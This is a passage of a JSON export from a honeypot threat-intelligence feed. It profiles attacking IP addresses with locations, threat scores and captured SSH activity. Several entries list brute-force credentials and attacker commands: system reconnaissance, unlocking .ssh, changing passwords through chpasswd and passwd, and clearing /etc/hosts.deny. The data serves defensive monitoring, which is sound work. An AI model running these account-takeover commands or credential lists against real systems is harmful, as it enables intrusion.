        "last_seen_30d": "2026-04-27T16:54:43.733000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "205.210.31.210": {
      "attack_count": 2,
      "first_seen": "2026-04-20T21:37:02.779Z",
      "last_seen": "2026-04-20T21:37:03.106Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 30,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T03:59:54.727000+00:00",
        "last_seen_30d": "2026-04-30T04:32:45.763000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 86,
        "Honeytrap": 36,
        "Dionaea": 3,
        "Cowrie": 2
      }
    },
    "211.53.113.224": {
      "attack_count": 2,
      "first_seen": "2026-04-18T06:05:57.204Z",
      "last_seen": "2026-04-18T06:06:10.521Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T06:05:57.204000+00:00",
        "last_seen_30d": "2026-04-18T06:07:15.292000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "39.112.249.86": {
      "attack_count": 2,
      "first_seen": "2026-04-20T01:38:24.428Z",
      "last_seen": "2026-04-20T01:38:38.086Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dalseo-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T01:38:24.428000+00:00",
        "last_seen_30d": "2026-04-20T01:39:48.223000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "50.99.118.36": {
      "attack_count": 2,
      "first_seen": "2026-04-28T18:49:46.455Z",
      "last_seen": "2026-04-28T18:49:59.760Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Calgary",
      "asn": 852,
      "as_org": "TELUS Communications",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T18:49:46.455000+00:00",
        "last_seen_30d": "2026-04-28T18:51:05.251000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "72.255.33.233": {
      "attack_count": 2,
      "first_seen": "2026-04-28T10:04:14.504Z",
      "last_seen": "2026-04-28T10:04:26.666Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T10:04:14.504000+00:00",
        "last_seen_30d": "2026-04-28T10:05:27.828000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "8.222.212.211": {
      "attack_count": 2,
      "first_seen": "2026-04-28T07:23:13.435Z",
      "last_seen": "2026-04-28T07:23:44.116Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T07:23:13.435000+00:00",
        "last_seen_30d": "2026-04-28T07:24:44.773000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "81.60.186.216": {
      "attack_count": 2,
      "first_seen": "2026-04-30T16:49:54.004Z",
      "last_seen": "2026-04-30T16:49:56.779Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Barcelona",
      "asn": 6739,
      "as_org": "Vodafone Ono, S.A.",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T16:49:54.004000+00:00",
        "last_seen_30d": "2026-04-30T16:51:05.788000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "95.139.177.224": {
      "attack_count": 2,
      "first_seen": "2026-04-26T11:23:45.921Z",
      "last_seen": "2026-04-26T11:25:45.922Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tula",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T11:23:45.921000+00:00",
        "last_seen_30d": "2026-04-26T11:35:55.720000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "98.47.223.42": {
      "attack_count": 2,
      "first_seen": "2026-04-24T16:01:38.235Z",
      "last_seen": "2026-04-24T16:01:48.482Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Castro Valley",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-24T16:01:38.235000+00:00",
        "last_seen_30d": "2026-04-25T13:48:16.558000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 2,
        "Honeytrap": 1
      }
    },
    "103.189.235.176": {
      "attack_count": 594,
      "first_seen": "2026-04-14T09:27:11.305Z",
      "last_seen": "2026-04-19T18:25:18.877Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "frappe",
        "claude",
        "deploy",
        "sammy",
        "adrian",
        "backupuser",
        "demo",
        "elemental",
        "fastuser",
        "ftp-user",
        "ftpuser01",
        "image",
        "lh",
        "nagios",
        "popuser",
        "postgres",
        "sambauser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123321",
        "12345",
        "123@123aA",
        "Asd123..",
        "Default2024!",
        "E1ementa!5",
        "Frappe2025",
        "Google@123",
        "P@ssW0rd",
        "Qazwsx1234567#$",
        "Qazwsx2021@123",
        "Qazwsx321@",
        "Sammy12",
        "Sammy16",
        "Server10",
        "Sss123456",
        "Teamspeak31"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123@123aA\\nS3No2VPWWdCI\\nS3No2VPWWdCI\\n\"|passwd",
        "echo \"admin@123\\naqfuND6d1v0K\\naqfuND6d1v0K\\n\"|passwd",
        "echo \"claude02!\\nA28ASVxBQ6tb\\nA28ASVxBQ6tb\\n\"|passwd",
        "echo \"frappe12345\\nI0qKQLRyVIZM\\nI0qKQLRyVIZM\\n\"|passwd",
        "echo \"root:MvpvnL1vATmG\"|chpasswd|bash",
        "echo -e \"123@123aA\\nS3No2VPWWdCI\\nS3No2VPWWdCI\"|passwd|bash",
        "echo -e \"admin@123\\naqfuND6d1v0K\\naqfuND6d1v0K\"|passwd|bash",
        "echo -e \"claude02!\\nA28ASVxBQ6tb\\nA28ASVxBQ6tb\"|passwd|bash",
        "echo -e \"frappe12345\\nI0qKQLRyVIZM\\nI0qKQLRyVIZM\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 730,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T09:27:11.305000+00:00",
        "last_seen_30d": "2026-04-19T18:26:26.285000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 594,
        "Suricata": 136
      }
    },
    "180.93.172.213": {
      "attack_count": 535,
      "first_seen": "2026-04-09T12:05:02.316Z",
      "last_seen": "2026-04-24T13:05:47.893Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "deploy",
        "ubuntu",
        "erpnext",
        "frappe",
        "admin",
        "alex",
        "appuser",
        "bitrix",
        "crm",
        "dev",
        "gmodserver",
        "jasper",
        "mysql",
        "n8n",
        "postgres",
        "server",
        "sftpuser01"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "!Q2w3e4r5t",
        "!QAZ1qaz",
        "0000",
        "101010",
        "111111",
        "112233",
        "123",
        "1234",
        "123456",
        "123456aa@",
        "123456wW",
        "123asd,./",
        "123qweQWE@",
        "1a2b3c4d@",
        "1qa@WS3ed$RF",
        "AAdd123123",
        "AAqq111"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nNakdi7orhTBg\\nNakdi7orhTBg\\n\"|passwd",
        "echo \"password\\nV3IIm8n17d1U\\nV3IIm8n17d1U\\n\"|passwd",
        "echo \"root:bx4UVSx2VdI4\"|chpasswd|bash",
        "echo \"xxlx123xxlx\\nfx3VkibSY99W\\nfx3VkibSY99W\\n\"|passwd",
        "echo -e \"123456\\nNakdi7orhTBg\\nNakdi7orhTBg\"|passwd|bash",
        "echo -e \"password\\nV3IIm8n17d1U\\nV3IIm8n17d1U\"|passwd|bash",
        "echo -e \"xxlx123xxlx\\nfx3VkibSY99W\\nfx3VkibSY99W\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135944,
      "as_org": "VinhNam Commercial informatics service corporation",
      "threat_score": 42.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.3,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 670,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T12:05:02.316000+00:00",
        "last_seen_30d": "2026-04-24T13:06:57.618000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 535,
        "Suricata": 135
      }
    },
    "27.79.1.40": {
      "attack_count": 479,
      "first_seen": "2026-04-18T12:01:33.490Z",
      "last_seen": "2026-04-18T12:39:25.983Z",
      "sessions": 95,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "cisco",
        "ace",
        "bin",
        "btf",
        "carol",
        "config",
        "db2inst2",
        "demo",
        "developer",
        "dubai",
        "ftp",
        "ftpuser",
        "george",
        "guest",
        "guest1",
        "helpdesk",
        "jay"
      ],
      "passwords_attempted": [
        "admin",
        "0l0ctyQh243O63uD",
        "P@ssw0rd",
        "password",
        "0987654321",
        "1",
        "1111",
        "111111",
        "112233",
        "123",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "321start",
        "@",
        "OkwKcECs8qJP2Z",
        "abc123",
        "abcd1234",
        "abcdefg"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 677,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T12:01:33.490000+00:00",
        "last_seen_30d": "2026-04-18T12:40:28.211000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 479,
        "Suricata": 198
      }
    },
    "171.231.197.123": {
      "attack_count": 442,
      "first_seen": "2026-04-19T05:33:26.171Z",
      "last_seen": "2026-04-19T06:03:32.860Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "developer",
        "monitor",
        "user",
        "*****",
        "admian",
        "am",
        "ashish",
        "auto",
        "backup",
        "btf",
        "cf1c22",
        "client",
        "cpanel",
        "ftp",
        "ftp_zsd",
        "guest1",
        "help"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "12345",
        "1234",
        "abc123",
        "admin",
        "*****",
        "0987654321",
        "1",
        "111111",
        "12345678",
        "1234567890%*()",
        "321start",
        "72b1bd75ac87852a",
        "91482d",
        "P@ssw0rd",
        "abcdefg",
        "admin1",
        "admin123",
        "admin1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 644,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T05:33:26.171000+00:00",
        "last_seen_30d": "2026-04-19T06:04:43.926000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 442,
        "Suricata": 202
      }
    },
    "116.99.169.192": {
      "attack_count": 437,
      "first_seen": "2026-04-25T13:01:12.069Z",
      "last_seen": "2026-04-25T13:38:37.314Z",
      "sessions": 87,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "user",
        "cisco",
        "developer",
        "support",
        "am",
        "belkinstyle",
        "bin",
        "client",
        "demo",
        "ftpuser",
        "george",
        "geral",
        "guest",
        "guest1",
        "helpdesk",
        "install",
        "joggler",
        "joro"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "0l0ctyQh243O63uD",
        "12345678",
        "admin123",
        "1111",
        "123",
        "12345",
        "123456",
        "72ca06",
        "@",
        "Deadstar!",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin1",
        "admin@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 35.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 619,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T13:01:12.069000+00:00",
        "last_seen_30d": "2026-04-25T13:39:43.014000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 437,
        "Suricata": 182
      }
    },
    "103.249.84.18": {
      "attack_count": 430,
      "first_seen": "2026-04-02T12:05:12.931Z",
      "last_seen": "2026-04-04T19:14:28.344Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "ubuntu",
        "deploy",
        "frappe",
        "git",
        "mailtest",
        "minecraft1",
        "ozzy",
        "postgres",
        "steam",
        "test",
        "teste",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "852963",
        "@dm1n",
        "A123456789b",
        "AAxx111",
        "Asd147258369",
        "Lorelai2024",
        "Mm123456.",
        "Oracle@1234",
        "P@ssw0rd@123",
        "Q!123456",
        "Qa123654789",
        "Qx123456!",
        "R00t1234",
        "Root888@#",
        "Ubuntu08",
        "User2026!@#",
        "Zh123456."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"P@ssw0rd@123\\n6USjiuVGC5el\\n6USjiuVGC5el\\n\"|passwd",
        "echo \"root:BS1VIn6WJ41e\"|chpasswd|bash",
        "echo \"root:oSOIaFk6kUhy\"|chpasswd|bash",
        "echo -e \"P@ssw0rd@123\\n6USjiuVGC5el\\n6USjiuVGC5el\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Cyberjaya",
      "asn": 55720,
      "as_org": "Gigabit Hosting Sdn Bhd",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.4,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 552,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T12:05:12.931000+00:00",
        "last_seen_30d": "2026-04-04T19:15:36.255000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 430,
        "Suricata": 122
      }
    },
    "104.199.176.250": {
      "attack_count": 426,
      "first_seen": "2026-04-29T08:22:36.958Z",
      "last_seen": "2026-04-29T09:33:45.410Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "root",
        "es",
        "ftpadmin",
        "odoo8",
        "postgres",
        "rustserver",
        "admin",
        "digital",
        "gitlab",
        "gitolite",
        "mysql",
        "openvpn",
        "samba",
        "siteadmin",
        "test",
        "test-user",
        "test_user",
        "vboxuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "admin123",
        "09876543",
        "1",
        "1234qwe",
        "1q2w3e4r",
        "35",
        "admin2024",
        "admin456!@#",
        "adminserver2009",
        "digital",
        "gitolite",
        "helloworld",
        "odoo8",
        "pass",
        "passpass",
        "password",
        "qwerty123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nFGykLHABJWJF\\nFGykLHABJWJF\\n\"|passwd",
        "echo \"35\\nVvqPao8UNDJ3\\nVvqPao8UNDJ3\\n\"|passwd",
        "echo \"odoo8\\njPWq4ZScnEue\\njPWq4ZScnEue\\n\"|passwd",
        "echo \"rustserver123\\n5koUUsxSBXZb\\n5koUUsxSBXZb\\n\"|passwd",
        "echo -e \"12345\\nFGykLHABJWJF\\nFGykLHABJWJF\"|passwd|bash",
        "echo -e \"35\\nVvqPao8UNDJ3\\nVvqPao8UNDJ3\"|passwd|bash",
        "echo -e \"odoo8\\njPWq4ZScnEue\\njPWq4ZScnEue\"|passwd|bash",
        "echo -e \"rustserver123\\n5koUUsxSBXZb\\n5koUUsxSBXZb\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 38.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 508,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T08:22:36.958000+00:00",
        "last_seen_30d": "2026-04-29T09:34:54.981000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 426,
        "Suricata": 82
      }
    },
    "117.247.23.131": {
      "attack_count": 420,
      "first_seen": "2026-04-01T00:22:37.857Z",
      "last_seen": "2026-04-05T20:23:25.541Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "prod",
        "ubuntu",
        "admin",
        "admin1",
        "ali",
        "deployuser",
        "devuser",
        "frappe",
        "git",
        "headscale",
        "jb",
        "jin",
        "mailtest",
        "postgres",
        "steam",
        "test4",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123321123321",
        "123456!!",
        "12345678900",
        "12345zxcv",
        "123qweASD321",
        "1a2b3c!@#",
        "1qaz!QAZ",
        "45674567",
        "@WSX1qaz123",
        "A12345678$",
        "AA123456..",
        "Aa123456!",
        "Admin!2026",
        "Ali03",
        "Dev@2025",
        "Frappe01!",
        "P@55w0rd@2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
